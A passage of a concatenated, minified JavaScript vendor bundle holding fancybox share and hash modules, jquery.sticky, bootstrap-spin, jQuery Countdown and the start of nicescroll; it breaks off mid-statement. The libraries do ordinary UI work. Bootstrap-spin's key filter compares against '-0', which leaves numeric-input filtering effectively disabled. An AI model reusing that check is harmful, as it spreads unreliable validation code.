40"><path d="M6,30 C8,18 19,16 23,16 L23,16 L23,10 L33,20 L23,29 L23,24 C19,24 8,27 6,30 Z"></svg></button>'},share:{url:function(t,e){return!t.currentHash&&"inline"!==e.type&&"html"!==e.type&&(e.origSrc||e.src)||window.location},tpl:'<div class="fancybox-share"><h1>{{SHARE}}</h1><p><a class="fancybox-share__button fancybox-share__button--fb" href="https://www.facebook.com/sharer/sharer.php?u={{url}}"><svg viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="m287 456v-299c0-21 6-35 35-35h38v-63c-7-1-29-3-55-3-54 0-91 33-91 94v306m143-254h-205v72h196" /></svg><span>Facebook</span></a><a class="fancybox-share__button fancybox-share__button--tw" href="https://twitter.com/intent/tweet?url={{url}}&text={{descr}}"><svg viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="m456 133c-14 7-31 11-47 13 17-10 30-27 37-46-15 10-34 16-52 20-61-62-157-7-141 75-68-3-129-35-169-85-22 37-11 86 26 109-13 0-26-4-37-9 0 39 28 72 65 80-12 3-25 4-37 2 10 33 41 57 77 57-42 30-77 38-122 34 170 111 378-32 359-208 16-11 30-25 41-42z" /></svg><span>Twitter</span></a><a class="fancybox-share__button fancybox-share__button--pt" href="https://www.pinterest.com/pin/create/button/?url={{url}}&description={{descr}}&media={{media}}"><svg viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="m265 56c-109 0-164 78-164 144 0 39 15 74 47 87 5 2 10 0 12-5l4-19c2-6 1-8-3-13-9-11-15-25-15-45 0-58 43-110 113-110 62 0 96 38 96 88 0 67-30 122-73 122-24 0-42-19-36-44 6-29 20-60 20-81 0-19-10-35-31-35-25 0-44 26-44 60 0 21 7 36 7 36l-30 125c-8 37-1 83 0 87 0 3 4 4 5 2 2-3 32-39 42-75l16-64c8 16 31 29 56 29 74 0 124-67 124-157 0-69-58-132-146-132z" fill="#fff"/></svg><span>Pinterest</span></a></p><p><input class="fancybox-share__input" type="text" value="{{url_raw}}" /></p></div>'}}),e(t).on("click","[data-fancybox-share]",function(){var t,o,i=e.fancybox.getInstance(),a=i.current||null;a&&("function"===e.type(a.opts.share.url)&&(t=a.opts.share.url.apply(a,[i,a])),o=a.opts.share.tpl.replace(/\{\{media\}\}/g,"image"===a.type?encodeURIComponent(a.src):"").replace(/\{\{url\}\}/g,encodeURIComponent(t)).replace(/\{\{url_raw\}\}/g,n(t)).replace(/\{\{descr\}\}/g,i.$caption?encodeURIComponent(i.$caption.text()):""),e.fancybox.open({src:i.translate(i,o),type:"html",opts:{animationEffect:!1,afterLoad:function(t,e){i.$refs.container.one("beforeClose.fb",function(){t.close(null,0)}),e.$content.find(".fancybox-share__links a").click(function(){return window.open(this.href,"Share","width=550, height=450"),!1})}}}))})}(document,window.jQuery||jQuery),function(t,e,n){"use strict";function o(){var t=e.location.hash.substr(1),n=t.split("-"),o=n.length>1&&/^\+?\d+$/.test(n[n.length-1])?parseInt(n.pop(-1),10)||1:1,i=n.join("-");return{hash:t,index:o<1?1:o,gallery:i}}function i(t){var e;""!==t.gallery&&(e=n("[data-fancybox='"+n.escapeSelector(t.gallery)+"']").eq(t.index-1).trigger("click.fb-start"))}function a(t){var e,n;return!!t&&(e=t.current?t.current.opts:t.opts,n=e.hash||(e.$orig?e.$orig.data("fancybox"):""),""!==n&&n)}n.escapeSelector||(n.escapeSelector=function(t){var e=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,n=function(t,e){return e?"\0"===t?"�":t.slice(0,-1)+"\\"+t.charCodeAt(t.length-1).toString(16)+" ":"\\"+t};return(t+"").replace(e,n)}),n(function(){n.fancybox.defaults.hash!==!1&&(n(t).on({"onInit.fb":function(t,e){var n,i;e.group[e.currIndex].opts.hash!==!1&&(n=o(),i=a(e),i&&n.gallery&&i==n.gallery&&(e.currIndex=n.index-1))},"beforeShow.fb":function(n,o,i,s){var r;i&&i.opts.hash!==!1&&(r=a(o),r&&(o.currentHash=r+(o.group.length>1?"-"+(i.index+1):""),e.location.hash!=="#"+o.currentHash&&(o.origHash||(o.origHash=e.location.hash),o.hashTimer&&clearTimeout(o.hashTimer),o.hashTimer=setTimeout(function(){"replaceState"in e.history?(e.history[s?"pushState":"replaceState"]({},t.title,e.location.pathname+e.location.search+"#"+o.currentHash),s&&(o.hasCreatedHistory=!0)):e.location.hash=o.currentHash,o.hashTimer=null},300))))},"beforeClose.fb":function(n,o,i){var s;i.opts.hash!==!1&&(s=a(o),o.currentHash&&o.hasCreatedHistory?e.history.back():o.currentHash&&("replaceState"in e.history?e.history.replaceState({},t.title,e.location.pathname+e.location.search+(o.origHash||"")):e.location.hash=o.origHash),o.currentHash=null,clearTimeout(o.hashTimer))}}),n(e).on("hashchange.fb",function(){var t,e=o();n.each(n(".fancybox-container").get().reverse(),function(e,o){var i=n(o).data("FancyBox");if(i.currentHash)return t=i,!1}),t?!t.currentHash||t.currentHash===e.gallery+"-"+e.index||1===e.index&&t.currentHash==e.gallery||(t.currentHash=null,t.close()):""!==e.gallery&&i(e)}),setTimeout(function(){n.fancybox.getInstance()||i(o())},50))})}(document,window,window.jQuery||jQuery),function(t,e){"use strict";var n=(new Date).getTime();e(t).on({"onInit.fb":function(t,e,o){e.$refs.stage.on("mousewheel DOMMouseScroll wheel MozMousePixelScroll",function(t){var o=e.current,i=(new Date).getTime();e.group.length<2||o.opts.wheel===!1||"auto"===o.opts.wheel&&"image"!==o.type||(t.preventDefault(),t.stopPropagation(),o.$slide.hasClass("fancybox-animated")||(t=t.originalEvent||t,i-n<250||(n=i,e[(-t.deltaY||-t.deltaX||t.wheelDelta||-t.detail)<0?"next":"previous"]())))})}})}(document,window.jQuery||jQuery); + + +/* Jquery.sticky.min.js +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ +!function(t){"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof module&&module.exports?module.exports=t(require("jquery")):t(jQuery)}(function(t){var e=Array.prototype.slice,i=Array.prototype.splice,n={topSpacing:0,bottomSpacing:0,className:"is-sticky",wrapperClassName:"sticky-wrapper",center:!1,getWidthFrom:"",widthFromWrapper:!0,responsiveWidth:!1,zIndex:"auto"},r=t(window),s=t(document),o=[],c=r.height(),a=function(){for(var e=r.scrollTop(),i=s.height(),n=i-c,a=e>n?n-e:0,p=0,d=o.length;p<d;p++){var l=o[p],u=l.stickyWrapper.offset().top,h=u-l.topSpacing-a;if(l.stickyWrapper.css("height",l.stickyElement.outerHeight()),e<=h)null!==l.currentTop&&(l.stickyElement.css({width:"",position:"",top:"","z-index":""}),l.stickyElement.parent().removeClass(l.className),l.stickyElement.trigger("sticky-end",[l]),l.currentTop=null);else{var g=i-l.stickyElement.outerHeight()-l.topSpacing-l.bottomSpacing-e-a;if(g<0?g+=l.topSpacing:g=l.topSpacing,l.currentTop!==g){var m;l.getWidthFrom?m=t(l.getWidthFrom).width()||null:l.widthFromWrapper&&(m=l.stickyWrapper.width()),null==m&&(m=l.stickyElement.width()),l.stickyElement.css("width",m).css("position","fixed").css("top",g).css("z-index",l.zIndex),l.stickyElement.parent().addClass(l.className),null===l.currentTop?l.stickyElement.trigger("sticky-start",[l]):l.stickyElement.trigger("sticky-update",[l]),l.currentTop===l.topSpacing&&l.currentTop>g||null===l.currentTop&&g<l.topSpacing?l.stickyElement.trigger("sticky-bottom-reached",[l]):null!==l.currentTop&&g===l.topSpacing&&l.currentTop<g&&l.stickyElement.trigger("sticky-bottom-unreached",[l]),l.currentTop=g}var y=l.stickyWrapper.parent(),f=l.stickyElement.offset().top+l.stickyElement.outerHeight()>=y.offset().top+y.outerHeight()&&l.stickyElement.offset().top<=l.topSpacing;f?l.stickyElement.css("position","absolute").css("top","").css("bottom",0).css("z-index",""):l.stickyElement.css("position","fixed").css("top",g).css("bottom","").css("z-index",l.zIndex)}}},p=function(){c=r.height();for(var e=0,i=o.length;e<i;e++){var n=o[e],s=null;n.getWidthFrom?n.responsiveWidth&&(s=t(n.getWidthFrom).width()):n.widthFromWrapper&&(s=n.stickyWrapper.width()),null!=s&&n.stickyElement.css("width",s)}},d={init:function(e){return this.each(function(){var i=t.extend({},n,e),r=t(this),s=r.attr("id"),c=s?s+"-"+n.wrapperClassName:n.wrapperClassName,a=t("<div></div>").attr("id",c).addClass(i.wrapperClassName);r.wrapAll(function(){if(0==t(this).parent("#"+c).length)return a});var p=r.parent();i.center&&p.css({width:r.outerWidth(),marginLeft:"auto",marginRight:"auto"}),"right"===r.css("float")&&r.css({float:"none"}).parent().css({float:"right"}),i.stickyElement=r,i.stickyWrapper=p,i.currentTop=null,o.push(i),d.setWrapperHeight(this),d.setupChangeListeners(this)})},setWrapperHeight:function(e){var i=t(e),n=i.parent();n&&n.css("height",i.outerHeight())},setupChangeListeners:function(t){if(window.MutationObserver){var e=new window.MutationObserver(function(e){(e[0].addedNodes.length||e[0].removedNodes.length)&&d.setWrapperHeight(t)});e.observe(t,{subtree:!0,childList:!0})}else window.addEventListener?(t.addEventListener("DOMNodeInserted",function(){d.setWrapperHeight(t)},!1),t.addEventListener("DOMNodeRemoved",function(){d.setWrapperHeight(t)},!1)):window.attachEvent&&(t.attachEvent("onDOMNodeInserted",function(){d.setWrapperHeight(t)}),t.attachEvent("onDOMNodeRemoved",function(){d.setWrapperHeight(t)}))},update:a,unstick:function(e){return this.each(function(){for(var e=this,n=t(e),r=-1,s=o.length;s-- >0;)o[s].stickyElement.get(0)===e&&(i.call(o,s,1),r=s);r!==-1&&(n.unwrap(),n.css({width:"",position:"",top:"",float:"","z-index":""}))})}};window.addEventListener?(window.addEventListener("scroll",a,!1),window.addEventListener("resize",p,!1)):window.attachEvent&&(window.attachEvent("onscroll",a),window.attachEvent("onresize",p)),t.fn.sticky=function(i){return d[i]?d[i].apply(this,e.call(arguments,1)):"object"!=typeof i&&i?void t.error("Method "+i+" does not exist on jQuery.sticky"):d.init.apply(this,arguments)},t.fn.unstick=function(i){return d[i]?d[i].apply(this,e.call(arguments,1)):"object"!=typeof i&&i?void t.error("Method "+i+" does not exist on jQuery.sticky"):d.unstick.apply(this,arguments)},t(function(){setTimeout(a,0)})}); +//# sourceMappingURL=jquery.sticky.min.js.map + + +/* bootstrap-spin - v1.0 +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + +/* ======================================================================== + * bootstrap-spin - v1.0 + * https://github.com/wpic/bootstrap-spin + * ======================================================================== + * Copyright 2014 WPIC, Hamed Abdollahpour + * + * ======================================================================== + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * ======================================================================== + */ + +(function ( $ ) { + + $.fn.bootstrapNumber = function( options ) { + + var settings = $.extend({ + upClass: 'default', + downClass: 'default', + center: true + }, options ); + + return this.each(function(e) { + var self = $(this); + var clone = self.clone(); + + var min = self.attr('min'); + var max = self.attr('max'); + + function setText(n) { + if((min && n < min) || (max && n > max)) { + return false; + } + + clone.val(n); + return true; + } + + var group = $("<div class='input-group'></div>"); + var down = $("<button type='button'><span class='icon icon-minus'></span></button>").attr('class', 'btn btn-' + settings.downClass).click(function() { + setText(parseInt(clone.val()) - 1); + }); + var up = $("<button type='button'><span class='icon icon-plus'></span></button>").attr('class', 'btn btn-' + settings.upClass).click(function() { + setText(parseInt(clone.val()) + 1); + }); + $("<span class='input-group-btn'></span>").append(down).appendTo(group); + clone.appendTo(group); + if(clone) { + clone.css('text-align', 'center'); + } + $("<span class='input-group-btn'></span>").append(up).appendTo(group); + + // remove spins from original + clone.attr('type', 'text').keydown(function (e) { + if ($.inArray(e.keyCode, [46, 8, 9, 27, 13, 110, 190]) !== -0 || + (e.keyCode == 65 && e.ctrlKey === true) || + (e.keyCode >= 35 && e.keyCode <= 39)) { + return; + } + if ((e.shiftKey || (e.keyCode < 48 || e.keyCode > 57)) && (e.keyCode < 96 || e.keyCode > 105)) { + e.preventDefault(); + } + + var c = String.fromCharCode(e.which); + var n = parseInt(clone.val() + c); + + if((min && n < min) || (max && n > max)) { + e.preventDefault(); + } + }); + + self.replaceWith(group); + }); + }; +} ( jQuery )); + + +/* Jquery Countdown +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + +/*! + * The Final Countdown for jQuery v2.2.0 (http://hilios.github.io/jQuery.countdown/) + * Copyright (c) 2016 Edson Hilios + * + * Permission is hereby granted, free of charge, to any person obtaining a copy of + * this software and associated documentation files (the "Software"), to deal in + * the Software without restriction, including without limitation the rights to + * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of + * the Software, and to permit persons to whom the Software is furnished to do so, + * subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS + * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR + * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER + * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + */ +!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):a(jQuery)}(function(a){"use strict";function b(a){if(a instanceof Date)return a;if(String(a).match(g))return String(a).match(/^[0-9]*$/)&&(a=Number(a)),String(a).match(/\-/)&&(a=String(a).replace(/\-/g,"/")),new Date(a);throw new Error("Couldn't cast `"+a+"` to a date object.")}function c(a){var b=a.toString().replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1");return new RegExp(b)}function d(a){return function(b){var d=b.match(/%(-|!)?[A-Z]{1}(:[^;]+;)?/gi);if(d)for(var f=0,g=d.length;f<g;++f){var h=d[f].match(/%(-|!)?([a-zA-Z]{1})(:[^;]+;)?/),j=c(h[0]),k=h[1]||"",l=h[3]||"",m=null;h=h[2],i.hasOwnProperty(h)&&(m=i[h],m=Number(a[m])),null!==m&&("!"===k&&(m=e(l,m)),""===k&&m<10&&(m="0"+m.toString()),b=b.replace(j,m.toString()))}return b=b.replace(/%%/,"%")}}function e(a,b){var c="s",d="";return a&&(a=a.replace(/(:|;|\s)/gi,"").split(/\,/),1===a.length?c=a[0]:(d=a[0],c=a[1])),Math.abs(b)>1?c:d}var f=[],g=[],h={precision:100,elapse:!1,defer:!1};g.push(/^[0-9]*$/.source),g.push(/([0-9]{1,2}\/){2}[0-9]{4}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g.push(/[0-9]{4}([\/\-][0-9]{1,2}){2}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g=new RegExp(g.join("|"));var i={Y:"years",m:"months",n:"daysToMonth",d:"daysToWeek",w:"weeks",W:"weeksToMonth",H:"hours",M:"minutes",S:"seconds",D:"totalDays",I:"totalHours",N:"totalMinutes",T:"totalSeconds"},j=function(b,c,d){this.el=b,this.$el=a(b),this.interval=null,this.offset={},this.options=a.extend({},h),this.instanceNumber=f.length,f.push(this),this.$el.data("countdown-instance",this.instanceNumber),d&&("function"==typeof d?(this.$el.on("update.countdown",d),this.$el.on("stoped.countdown",d),this.$el.on("finish.countdown",d)):this.options=a.extend({},h,d)),this.setFinalDate(c),this.options.defer===!1&&this.start()};a.extend(j.prototype,{start:function(){null!==this.interval&&clearInterval(this.interval);var a=this;this.update(),this.interval=setInterval(function(){a.update.call(a)},this.options.precision)},stop:function(){clearInterval(this.interval),this.interval=null,this.dispatchEvent("stoped")},toggle:function(){this.interval?this.stop():this.start()},pause:function(){this.stop()},resume:function(){this.start()},remove:function(){this.stop.call(this),f[this.instanceNumber]=null,delete this.$el.data().countdownInstance},setFinalDate:function(a){this.finalDate=b(a)},update:function(){if(0===this.$el.closest("html").length)return void this.remove();var b,c=void 0!==a._data(this.el,"events"),d=new Date;b=this.finalDate.getTime()-d.getTime(),b=Math.ceil(b/1e3),b=!this.options.elapse&&b<0?0:Math.abs(b),this.totalSecsLeft!==b&&c&&(this.totalSecsLeft=b,this.elapsed=d>=this.finalDate,this.offset={seconds:this.totalSecsLeft%60,minutes:Math.floor(this.totalSecsLeft/60)%60,hours:Math.floor(this.totalSecsLeft/60/60)%24,days:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToWeek:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToMonth:Math.floor(this.totalSecsLeft/60/60/24%30.4368),weeks:Math.floor(this.totalSecsLeft/60/60/24/7),weeksToMonth:Math.floor(this.totalSecsLeft/60/60/24/7)%4,months:Math.floor(this.totalSecsLeft/60/60/24/30.4368),years:Math.abs(this.finalDate.getFullYear()-d.getFullYear()),totalDays:Math.floor(this.totalSecsLeft/60/60/24),totalHours:Math.floor(this.totalSecsLeft/60/60),totalMinutes:Math.floor(this.totalSecsLeft/60),totalSeconds:this.totalSecsLeft},this.options.elapse||0!==this.totalSecsLeft?this.dispatchEvent("update"):(this.stop(),this.dispatchEvent("finish")))},dispatchEvent:function(b){var c=a.Event(b+".countdown");c.finalDate=this.finalDate,c.elapsed=this.elapsed,c.offset=a.extend({},this.offset),c.strftime=d(this.offset),this.$el.trigger(c)}}),a.fn.countdown=function(){var b=Array.prototype.slice.call(arguments,0);return this.each(function(){var c=a(this).data("countdown-instance");if(void 0!==c){var d=f[c],e=b[0];j.prototype.hasOwnProperty(e)?d[e].apply(d,b.slice(1)):null===String(e).match(/^[$A-Z_][0-9A-Z_$]*$/i)?(d.setFinalDate.call(d,e),d.start()):a.error("Method %s does not exist on jQuery.countdown".replace(/\%s/gi,e))}else new j(this,b[0],b[1])})}}); + + +/* JQuery.nicescroll 3.6.8 +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + +/* jquery.nicescroll 3.6.8 InuYaksa*2015 MIT http://nicescroll.areaaperta.com */(function(f){"function"===typeof define&&define.amd?define(["jquery"],f):"object"===typeof exports?module.exports=f(require("jquery")):f(jQuery)})(function(f){var B=!1,F=!1,O=0,P=2E3,A=0,J=["webkit","ms","moz","o"],v=window.requestAnimationFrame||!1,w=window.cancelAnimationFrame||!1;if(!v)for(var Q in J){var G=J[Q];if(v=window[G+"RequestAnimationFrame"]){w=window[G+"CancelAnimationFrame"]||window[G+"CancelRequestAnimationFrame"];break}}var x=window.MutationObserver||window.WebKitMutationObserver|| +!1,K={zindex:"auto",cursoropacitymin:0,cursoropacitymax:1,cursorcolor:"#424242",cursorwidth:"6px",cursorborder:"1px solid #fff",cursorborderradius:"5px",scrollspeed:60,mousescrollstep:24,touchbehavior:!1,hwacceleration:!0,usetransition:!0,boxzoom:!1,dblclickzoom:!0,gesturezoom:!0,grabcursorenabled:!0,autohidemode:!0,background:"",iframeautoresize:!0,cursorminheight:32,preservenativescrolling:!0,railoffset:!1,railhoffset:!1,bouncescroll:!0,spacebarenabled:!0,railpadding:{top:0,right:0,left:0,bottom:0}, +disableoutline:!0,horizrailenabled:!0,railalign:"right",railvalign:"bottom",enabletranslate3d:!0,enablemousewheel:!0,enablekeyboard:!0,smoothscroll:!0,sensitiverail:!0,enablemouselockapi:!0,cursorfixedheight:!1,directionlockdeadzone:6,hidecursordelay:400,nativeparentscrolling:!0,enablescrollonselection:!0,overflowx:!0,overflowy:!0,cursordragspeed:.3,rtlmode:"auto",cursordragontouch:!1,oneaxismousemode:"auto",scriptpath:function(){var f=document.getElementsByTagName("script"),f=f.length?f[f.length- +1].src.split("?")[0]:"";return 0<f.split("/").length?f.split("/").slice(0,-1).join("/")+"/":""}(),preventmultitouchscrolling:!0,disablemutationobserver:!1},H=!1,R=function(){if(H)return H;var f=document.createElement("DIV"),c=f.style,k=navigator.userAgent,l=navigator.platform,d={haspointerlock:"pointerLockElement"in document||"webkitPointerLockElement"in document||"mozPointerLockElement"in document};d.isopera="opera"in window;d.isopera12=d.isopera&&"getUserMedia"in navigator;d.isoperamini="[object OperaMini]"=== +Object.prototype.toString.call(window.operamini);d.isie="all"in document&&"attachEvent"in f&&!d.isopera;d.isieold=d.isie&&!("msInterpolationMode"in c);d.isie7=d.isie&&!d.isieold&&(!("documentMode"in document)||7==document.documentMode);d.isie8=d.isie&&"documentMode"in document&&8==document.documentMode;d.isie9=d.isie&&"performance"in window&&9==document.documentMode;d.isie10=d.isie&&"performance"in window&&10==document.documentMode;d.isie11="msRequestFullscreen"in f&&11<=document.documentMode;d.isieedge12= +navigator.userAgent.match(/Edge\/12\./);d.isieedge="msOverflowStyle"in f;d.ismodernie=d.isie11||d.isieedge;d.isie9mobile=/iemobile.9/i.test(k);d.isie9mobile&&(d.isie9=!1);d.isie7mobile=!d.isie9mobile&&d.isie7&&/iemobile/i.test(k);d.ismozilla="MozAppearance"in c;d.iswebkit="WebkitAppearance"in c;d.ischrome="chrome"in window;d.ischrome38=d.ischrome&&"touchAction"in c;d.ischrome22=!d.ischrome38&&d.ischrome&&d.haspointerlock;d.ischrome26=!d.ischrome38&&d.ischrome&&"transition"in c;d.cantouch="ontouchstart"in +document.documentElement||"ontouchstart"in window;d.hasw3ctouch=(window.PointerEvent||!1)&&(0<navigator.MaxTouchPoints||0<navigator.msMaxTouchPoints);d.hasmstouch=!d.hasw3ctouch&&(window.MSPointerEvent||!1);d.ismac=/^mac$/i.test(l);d.isios=d.cantouch&&/iphone|ipad|ipod/i.test(l);d.isios4=d.isios&&!("seal"in Object);d.isios7=d.isios&&"webkitHidden"in document;d.isios8=d.isios&&"hidden"in document;d.isandroid=/android/i.test(k);d.haseventlistener="addEventListener"in f;d.trstyle=!1;d.hastransform=!1; +d.hastranslate3d=!1;d.transitionstyle=!1;d.hastransition=!1;d.transitionend=!1;l=["transform","msTransform","webkitTransform","MozTransform","OTransform"];for(k=0;k<l.length;k++)if(void 0!==c[l[k]]){d.trstyle=l[k];break}d.hastransform=!!d.trstyle;d.hastransform&&(c[d.trstyle]="translate3d(1px,2px,3px)",d.hastranslate3d=/translate3d/.test(c[d.trstyle]));d.transitionstyle=!1;d.prefixstyle="";d.transitionend=!1;for(var l="transition webkitTransition msTransition MozTransition OTransition OTransition KhtmlTransition".split(" "), +q=" -webkit- -ms- -moz- -o- -o -khtml-".split(" "),t="transitionend webkitTransitionEnd msTransitionEnd transitionend otransitionend oTransitionEnd KhtmlTransitionEnd".split(" "),k=0;k<l.length;k++)if(l[k]in c){d.transitionstyle=l[k];d.prefixstyle=q[k];d.transitionend=t[k];break}d.ischrome26&&(d.prefixstyle=q[1]);d.hastransition=d.transitionstyle;a:{k=["grab","-webkit-grab","-moz-grab"];if(d.ischrome&&!d.ischrome38||d.isie)k=[];for(l=0;l<k.length;l++)if(q=k[l],c.cursor=q,c.cursor==q){c=q;break a}c= +"url(//patriciaportfolio.googlecode.com/files/openhand.cur),n-resize"}d.cursorgrabvalue=c;d.hasmousecapture="setCapture"in f;d.hasMutationObserver=!1!==x;return H=d},S=function(h,c){function k(){var b=a.doc.css(e.trstyle);return b&&"matrix"==b.substr(0,6)?b.replace(/^.*\((.*)\)$/g,"$1").replace(/px/g,"").split(/, +/):!1}function l(){var b=a.win;if("zIndex"in b)return b.zIndex();for(;0<b.length&&9!=b[0].nodeType;){var g=b.css("zIndex");if(!isNaN(g)&&0!=g)return parseInt(g);b=b.parent()}return!1}function d(b, +g,u){g=b.css(g);b=parseFloat(g);return isNaN(b)?(b=z[g]||0,u=3==b?u?a.win.outerHeight()-a.win.innerHeight():a.win.outerWidth()-a.win.innerWidth():1,a.isie8&&b&&(b+=1),u?b:0):b}function q(b,g,u,c){a._bind(b,g,function(a){a=a?a:window.event;var c={original:a,target:a.target||a.srcElement,type:"wheel",deltaMode:"MozMousePixelScroll"==a.type?0:1,deltaX:0,deltaZ:0,preventDefault:function(){a.preventDefault?a.preventDefault():a.returnValue=!1;return!1},stopImmediatePropagation:function(){a.stopImmediatePropagation? +a.stopImmediatePropagation():a.cancelBubble=!0}};"mousewheel"==g?(a.wheelDeltaX&&(c.deltaX=-.025*a.wheelDeltaX),a.wheelDeltaY&&(c.deltaY=-.025*a.wheelDeltaY),c.deltaY||c.deltaX||(c.deltaY=-.025*a.wheelDelta)):c.deltaY=a.detail;return u.call(b,c)},c)}function t(b,g,c){var d,e;0==b.deltaMode?(d=-Math.floor(a.opt.mousescrollstep/54*b.deltaX),e=-Math.floor(a.opt.mousescrollstep/54*b.deltaY)):1==b.deltaMode&&(d=-Math.floor(b.deltaX*a.opt.mousescrollstep),e=-Math.floor(b.deltaY*a.opt.mousescrollstep)); +g&&a.opt.oneaxismousemode&&0==d&&e&&(d=e,e=0,c&&(0>d?a.getScrollLeft()>=a.page.maxw:0>=a.getScrollLeft())&&(e=d,d=0));a.isrtlmode&&(d=-d);d&&(a.scrollmom&&a.scrollmom.stop(),a.lastdeltax+=d,a.debounced("mousewheelx",function(){var b=a.lastdeltax;a.lastdeltax=0;a.rail.drag||a.doScrollLeftBy(b)},15));if(e){if(a.opt.nativeparentscrolling&&c&&!a.ispage&&!a.zoomactive)if(0>e){if(a.getScrollTop()>=a.page.maxh)return!0}else if(0>=a.getScrollTop())return!0;a.scrollmom&&a.scrollmom.stop();a.lastdeltay+=e; +a.synched("mousewheely",function(){var b=a.lastdeltay;a.lastdeltay=0;a.rail.drag||a.doScrollBy(b)},15)}b.stopImmediatePropagation();return b.preventDefault()}var a=this;this.version="3.6.8";this.name="nicescroll";this.me=c;this.opt={doc:f("body"),win:!1};f.extend(this.opt,K);this.opt.snapbackspeed=80;if(h)for(var r in a.opt)void 0!==h[r]&&(a.opt[r]=h[r]);a.opt.disablemutationobserver&&(x=!1);this.iddoc=(this.doc=a.opt.doc)&&this.doc[0]?this.doc[0].id||"":"";this.ispage=/^BODY|HTML/.test(a.opt.win? +a.opt.win[0].nodeName:this.doc[0].nodeName);this.haswrapper=!1!==a.opt.win;this.win=a.opt.win||(this.ispage?f(window):this.doc);this.docscroll=this.ispage&&!this.haswrapper?f(window):this.win;this.body=f("body");this.iframe=this.isfixed=this.viewport=!1;this.isiframe="IFRAME"==this.doc[0].nodeName&&"IFRAME"==this.win[0].nodeName;this.istextarea="TEXTAREA"==this.win[0].nodeName;this.forcescreen=!1;this.canshowonmouseevent="scroll"!=a.opt.autohidemode;this.page=this.view=this.onzoomout=this.onzoomin= +this.onscrollcancel=this.onscrollend=this.onscrollstart=this.onclick=this.ongesturezoom=this.onkeypress=this.onmousewheel=this.onmousemove=this.onmouseup=this.onmousedown=!1;this.scroll={x:0,y:0};this.scrollratio={x:0,y:0};this.cursorheight=20;this.scrollvaluemax=0;if("auto"==this.opt.rtlmode){r=this.win[0]==window?this.body:this.win;var p=r.css("writing-mode")||r.css("-webkit-writing-mode")||r.css("-ms-writing-mode")||r.css("-moz-writing-mode");"horizontal-tb"==p||"lr-tb"==p||""==p?(this.isrtlmode= +"rtl"==r.css("direction"),this.isvertical=!1):(this.isrtlmode="vertical-rl"==p||"tb"==p||"tb-rl"==p||"rl-tb"==p,this.isvertical="vertical-rl"==p||"tb"==p||"tb-rl"==p)}else this.isrtlmode=!0===this.opt.rtlmode,this.isvertical=!1;this.observerbody=this.observerremover=this.observer=this.scrollmom=this.scrollrunning=!1;do this.id="ascrail"+P++;while(document.getElementById(this.id));this.hasmousefocus=this.hasfocus=this.zoomactive=this.zoom=this.selectiondrag=this.cursorfreezed=this.cursor=this.rail= +!1;this.visibility=!0;this.hidden=this.locked=this.railslocked=!1;this.cursoractive=!0;this.wheelprevented=!1;this.overflowx=a.opt.overflowx;this.overflowy=a.opt.overflowy;this.nativescrollingarea=!1;this.checkarea=0;this.events=[];this.saved={};this.delaylist={};this.synclist={};this.lastdeltay=this.lastdeltax=0;this.detected=R();var e=f.extend({},this.detected);this.ishwscroll=(this.canhwscroll=e.hastransform&&a.opt.hwacceleration)&&a.haswrapper;this.hasreversehr=this.isrtlmode?this.isvertical? +!(e.iswebkit||e.isie||e.isie11):!(e.iswebkit||e.isie&&!e.isie10&&!e.isie11):!1;this.istouchcapable=!1;e.cantouch||!e.hasw3ctouch&&!e.hasmstouch?!e.cantouch||e.isios||e.isandroid||!e.iswebkit&&!e.ismozilla||(this.istouchcapable=!0):this.istouchcapable=!0;a.opt.enablemouselockapi||(e.hasmousecapture=!1,e.haspointerlock=!1);this.debounced=function(b,g,c){a&&(a.delaylist[b]||(g.call(a),a.delaylist[b]={h:v(function(){a.delaylist[b].fn.call(a);a.delaylist[b]=!1},c)}),a.delaylist[b].fn=g)};var I=!1;this.synched= +function(b,g){a.synclist[b]=g;(function(){I||(v(function(){if(a){I=!1;for(var b in a.synclist){var g=a.synclist[b];g&&g.call(a);a.synclist[b]=!1}}}),I=!0)})();return b};this.unsynched=function(b){a.synclist[b]&&(a.synclist[b]=!1)};this.css=function(b,g){for(var c in g)a.saved.css.push([b,c,b.css(c)]),b.css(c,g[c])};this.scrollTop=function(b){return void 0===b?a.getScrollTop():a.setScrollTop(b)};this.scrollLeft=function(b){return void 0===b?a.getScrollLeft():a.setScrollLeft(b)};var D=function(a,g, +c,d,e,f,k){this.st=a;this.ed=g;this.spd=c;this.p1=d||0;this.p2=e||1;this.p3=f||0;this.p4=k||1;this.ts=(new 